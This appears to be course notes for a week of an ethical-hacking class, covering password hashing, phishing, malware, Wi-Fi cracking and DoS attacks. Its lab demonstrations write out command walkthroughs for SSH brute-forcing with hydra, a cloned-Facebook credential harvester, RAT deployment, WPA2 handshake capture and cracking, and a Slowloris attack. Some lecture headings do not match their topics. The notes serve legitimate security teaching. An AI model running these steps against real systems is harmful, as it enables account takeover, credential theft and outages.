

Week 9

Introduction

In our increasingly interconnected world, the digital realm has become an indispensable part of daily life, facilitating everything from personal communication to global commerce. However, this pervasive connectivity also presents a vast and evolving landscape of cyber threats. As digital systems become more sophisticated, so too do the methods employed by those seeking unauthorized access or disruption. This week's lectures delve into the intricate world of cybersecurity, exploring fundamental concepts like authentication, the insidious nature of phishing, the diverse forms of malicious software, the vulnerabilities inherent in wireless networks, and the disruptive power of Denial of Service attacks.

Understanding these mechanisms and their associated vulnerabilities is not merely an academic exercise; it is a critical skill for anyone operating within or securing digital environments. From protecting personal data to safeguarding organizational infrastructure, a comprehensive grasp of these threats empowers individuals and professionals to build more resilient systems and adopt safer online practices. By dissecting the attacker's methodologies and the underlying technical principles, we aim to equip learners with the knowledge necessary to identify, mitigate, and defend against the persistent and ever-evolving challenges of digital security.

Core Concepts

Term	Definition	Significance
Authentication Mechanism	A method used to verify a user's identity and confirm their authorization to access a system or resource.	Essential for securing digital systems by ensuring only legitimate users gain access.
Hashing Algorithm	A one-way mathematical function that transforms input data into a fixed-size string of characters (a hash).	Crucial for secure password storage, preventing direct retrieval of plain text passwords even if the database is compromised.
Salt	A random string of data added to a password before it is	Significantly enhances password security by making rainbow table

Term	Definition	Significance
	hashed, stored alongside the hash.	attacks ineffective and forcing unique hash computations for identical passwords.
Phishing	A deceptive technique where attackers create a fraudulent webpage or communication that mimics a legitimate one to trick users into revealing sensitive information.	A primary method for credential theft, leading to account compromise and financial fraud by exploiting human trust.
Malware	An umbrella term for any malicious program or code designed to harm systems, invade privacy, or disrupt operations without user permission.	Represents the overarching category of digital threats, highlighting their common malicious intent and diverse forms.
WPA Handshake	The four-way exchange of messages between a client and an access point during the authentication process in WPA/WPA2.	Capturing this handshake is crucial for offline dictionary attacks against WPA/WPA2 networks to crack the passphrase.
DDoS Attack	A Distributed Denial of Service attack where multiple compromised systems (a botnet) flood a target with traffic, making it unavailable.	Highlights the increased scale and complexity of modern attacks, making them harder to trace and mitigate due to their distributed nature.
Botnet	A network of internet-connected devices infected with malware and controlled remotely by an attacker without the owners' knowledge.	Serves as the backbone for DDoS attacks, enabling attackers to launch large-scale, coordinated assaults that generate immense traffic volumes.

Detailed Analysis

1. Understanding Authentication and Password Security (Lecture 41 : Packet Sniffing (Part 1))

Authentication is the process of verifying a user's identity, typically categorized into "something you know" (passwords), "something you have" (tokens), and "something you are" (biometrics). Early systems stored passwords in plain text, making them highly vulnerable to database breaches. The introduction of **hashing algorithms** revolutionized password storage by transforming passwords into fixed-length, irreversible strings. When a user logs in, their entered password is hashed and compared to the stored hash, never the plain text.

However, hackers developed techniques like dictionary attacks and **rainbow tables** to crack unsalted hashes. To counter this, **salting** was introduced: a unique, random string (salt) is added to each password before hashing. This makes rainbow tables ineffective and ensures that even identical passwords result in different hashes, significantly increasing cracking difficulty. Despite these advancements, weak passwords remain a major vulnerability. Attackers employ various methods beyond technical cracking, including **phishing**, **social engineering**, **malware** (like keyloggers), **offline cracking** (stealing hashes and cracking them offline), **shoulder surfing**, and **spidering** (creating custom wordlists from public information).

A practical demonstration illustrated a dictionary attack against an SSH service:

- **Service Discovery:** `nmap` was used to identify open ports and services on a target IP.

```
nmap 192.168.0.51
```

- **Dictionary Creation:** `crunch` generated a custom wordlist.

```
crunch 4 4 osvy -o /root/myfile/pass.txt
```

- **Dictionary Attack:** `hydra` attempted to log in using the generated dictionary.

```
hydra -l vyos -P /root/myfile/pass.txt 192.168.0.51 ssh
```

- **Verification:** Successful SSH login confirmed the cracked credentials.

```
ssh vyos@192.168.0.51
```

2. The Mechanics and Types of Phishing Attacks (Lecture 42 : Packet Sniffing (Part 2))

Phishing is a deceptive technique where attackers create fraudulent web pages or communications that mimic legitimate ones to steal sensitive information. The attacker hosts a replica site, lures victims to it, captures their entered credentials, and often redirects them to the real site to avoid suspicion.

Phishing manifests in several forms:

- **Spear Phishing**: Highly targeted attacks using personalized information to make messages appear authentic to specific individuals or organizations.
- **Whaling Attacks**: A specialized form of spear phishing targeting senior executives for large financial gains or sensitive data.
- **Pharming**: Exploits DNS vulnerabilities to redirect users from legitimate websites to fraudulent ones without their knowledge, even if they type the correct URL.
- **Clone Phishing**: Uses copies of previously delivered, legitimate emails, replacing original links or attachments with malicious ones.
- **Voice Phishing (Vishing)**: Conducted over voice communication (VoIP, telephone) to trick victims into revealing information.

Attackers also use advanced techniques like **JavaScript manipulation** to alter displayed URLs or link destinations, and **URL hiding** to obscure the true malicious destination of a link.

A practical demonstration showcased a phishing attack using the Social Engineering Toolkit (SET):

- **Launch SET**:

```
setoolkit
```

- **Select Attack Options**: Navigate through SET's menus to choose "Social Engineering Attacks" -> "Website Attack Vector" -> "Credential Harvester Attack Method" -> "Site Cloner".
- **Configure Clone**: Specify the attacker's IP address (e.g., 192.168.0.101) and the URL to clone (e.g., www.facebook.com).
- **Lure and Capture**: The cloned site is hosted, and the attacker sends the phishing URL to the victim. Upon victim interaction, credentials are captured and displayed by SET.

3. Malware: Diverse Threats to Digital Systems (Lecture 43 : Packet Sniffing (Part 3))

Malware is an umbrella term for malicious software designed to harm systems, invade privacy, or disrupt operations. Key types include:

- **Viruses:** Self-replicating code attached to executable files, spreading when infected files are shared.
- **Worms:** Self-replicating programs that spread independently across networks, often slowing them down.
- **Trojan Horses:** Malware disguised as legitimate programs, performing malicious actions while appearing benign.
- **Ransomware:** Encrypts data or locks systems, demanding payment for restoration.
- **Spyware:** Secretly collects private information and transmits it to a third party.
- **Logic Bombs:** Dormant malicious code activated by a specific trigger event.
- **Backdoors:** Methods bypassing normal authentication for future unauthorized access.
- **Rootkits:** Collections of tools designed to hide malicious activities and maintain stealthy control.
- **Keyloggers:** Record every keystroke to capture sensitive information.

Various virus types exist, such as file viruses, boot sector viruses, macro viruses, polymorphic viruses (changing signature to evade detection), and stealth viruses (altering detection code). Trojan horses also have diverse variations, including Backdoor Trojans (remote access), Exploit Trojans (vulnerability abuse), Rootkit Trojans (hiding activities), Trojan Bankers (stealing financial data), and Trojan Spy (monitoring user activity).

A practical demonstration used a Remote Administrative Tool (RAT) called ProRat:

- **Server Creation:** The attacker configures and creates a server component (e.g., an `.exe` file) with settings like notification details, server port, password, and a fake error message. This server can be bound to a legitimate file for disguise.
- **Deployment:** The server file is transferred to the victim's machine and executed unknowingly.
- **Connection and Control:** The attacker connects their client to the victim's IP address and port, authenticating with the server password. Once connected, the RAT provides extensive control, including accessing PC info, sending messages, performing disruptive "funny" actions, controlling the browser, managing files, and conducting surveillance (screenshots, keylogging, password checking).

4. Wi-Fi Hacking: Exploiting Wireless Network Vulnerabilities (Lecture 44 : Social Engineering Attack)

Wireless networks, operating at Layer 1 of the OSI model, are inherently vulnerable due to their broadcast nature. Early security protocols like **WEP (Wired Equivalent Privacy)** were critically flawed due to weaknesses in its CRC32 integrity check and the short 24-bit Initial Value (IV) used with the RC4 encryption algorithm, making it highly susceptible to cracking.

WPA (Wi-Fi Protected Access) was developed to address WEP's flaws, introducing a larger 48-bit IV and TKIP (Temporal Key Integrity Protocol) for dynamic key changes. WPA-Personal (WPA-PSK) uses a 256-bit pre-shared key. While stronger, WPA/WPA2 remains vulnerable to dictionary attacks if the passphrase is weak.

Wireless cracking techniques include:

- **WEP Cracking**: Can be passive (silently capturing traffic) or active (injecting packets for faster key recovery).
- **WPA Cracking**: Primarily involves capturing the **WPA handshake** (the initial authentication exchange) and then performing an offline dictionary attack against the captured hash.
- **Denial of Service (DoS)**: Used to deauthenticate connected clients, forcing them to reconnect and thus exposing the WPA handshake.
- **Man-in-the-Middle (MitM)**: Positioning the attacker between client and access point to eavesdrop.

A practical demonstration of hacking a WPA2 Wi-Fi network using Kali Linux and `aircrack-ng` tools:

- **Identify NIC and Enable Monitor Mode:**

```
ifconfig  
airmon-ng start wlan0
```

- **Scan Networks**: `airodump-ng` discovers available Wi-Fi networks.

```
airodump-ng wlan0mon
```

- **Target Network and Capture Handshake**: `airodump-ng` monitors the target, and `aireplay-ng` deauthenticates a connected client to force a handshake capture.

```
airodump-ng -w test -c 6 --bssid <TARGET_BSSID> wlan0mon  
aireplay-ng -0 0 -a <TARGET_BSSID> -c <CLIENT_MAC_ADDRESS> wlan0mon
```

- **Crack Password:** `aircrack-ng` performs a dictionary attack on the captured `.cap` file.

```
aircrack-ng -w rockyou.txt test-01.cap
```

Securing wireless networks requires strong WPA2/WPA3 passphrases, changing default router credentials, and MAC address filtering.

5. Denial of Service Attacks: Disrupting Digital Availability (Lecture 45 : Denial of Service Attack)

A **Denial of Service (DoS) attack** aims to make a resource unavailable by overwhelming it with requests from a single source. A **Distributed Denial of Service (DDoS) attack** is more sophisticated, using multiple compromised systems (a **botnet**) to flood a target, making it significantly harder to mitigate. Botnets are networks of infected devices controlled remotely by an attacker.

DDoS attacks are categorized by their target layer:

- **Volume-based Attacks (Layer 3 & 4):** Aim to saturate bandwidth (e.g., TCP, UDP, ICMP floods, HTTP floods, amplification attacks).
- **Protocol-based Attacks (Layer 3 & 4):** Consume server resources or network devices (e.g., **SYN Flood** which exhausts connection tables, **Ping of Death** with oversized packets).
- **Application Layer Attacks (Layer 7):** Target specific application vulnerabilities, mimicking legitimate traffic (e.g., **Slowloris** which keeps connections open until the server's pool is exhausted, **Zero-day DDoS** exploiting unknown vulnerabilities).

Mitigation strategies include vulnerability management, closing unnecessary ports, access control, hiding servers behind proxies/CDNs, and for high-volume attacks, engaging specialized DDoS protection services or using a combination of flexible DNS and robust CDN providers.

A practical demonstration showed a Slowloris attack:

- **Identify Vulnerability:** `nmap` was used to check if a target web server was vulnerable.

```
nmap -T4 --script http-slowloris-check 192.168.0.104
```

- **Execute Attack:** The `slowloris.pl` Perl script was executed against the target IP.

```
perl slowloris.pl -dns 192.168.0.104
```

- **Observe Impact:** The attack successfully exhausted the server's connection pool, rendering the web application inaccessible.

Key Takeaways

- [] Authentication relies on "something you know," "something you have," or "something you are," with passwords being the most common.
- [] Secure password storage involves hashing and salting to prevent direct retrieval and counter rainbow table attacks.
- [] Weak passwords remain a significant vulnerability, making systems susceptible to dictionary and brute-force attacks.
- [] Phishing attacks exploit human trust through deceptive replicas of legitimate sites to steal credentials.
- [] Malware encompasses diverse threats like viruses, worms, Trojans, ransomware, and spyware, each with unique infection and impact mechanisms.
- [] Remote Administrative Tools (RATs) grant attackers extensive control over compromised systems, highlighting the need for robust endpoint security.
- [] WEP is critically flawed and should never be used; WPA/WPA2 offers stronger encryption but is vulnerable to dictionary attacks with weak passphrases.
- [] Capturing the WPA handshake is crucial for offline dictionary attacks against WPA/WPA2 networks.
- [] DoS attacks disrupt service from a single source, while DDoS attacks use distributed botnets for larger-scale disruption.
- [] DDoS attacks target different network layers (volume, protocol, application) and require multi-layered defense strategies.

Conclusion

This week's exploration has illuminated the multifaceted nature of cyber threats, from the foundational principles of authentication to the sophisticated tactics of

DDoS attacks. We've seen how vulnerabilities can be exploited at various layers, whether through human psychology in phishing and social engineering, design flaws in security protocols like WEP, or resource exhaustion in Denial of Service attacks. The practical demonstrations underscored the tangible reality of these threats, revealing how readily available tools can be leveraged to compromise systems and steal sensitive information.

The continuous arms race between attackers and defenders necessitates a proactive and comprehensive approach to cybersecurity. It's not enough to rely solely on technological safeguards; user education, strong security policies, and constant vigilance are equally crucial. By understanding the attacker's mindset, the mechanisms of various attacks, and the available countermeasures, individuals and organizations can build more resilient digital environments, protect their assets, and navigate the complexities of the modern digital landscape with greater confidence. The journey towards robust cybersecurity is ongoing, demanding continuous learning and adaptation to stay ahead of evolving threats.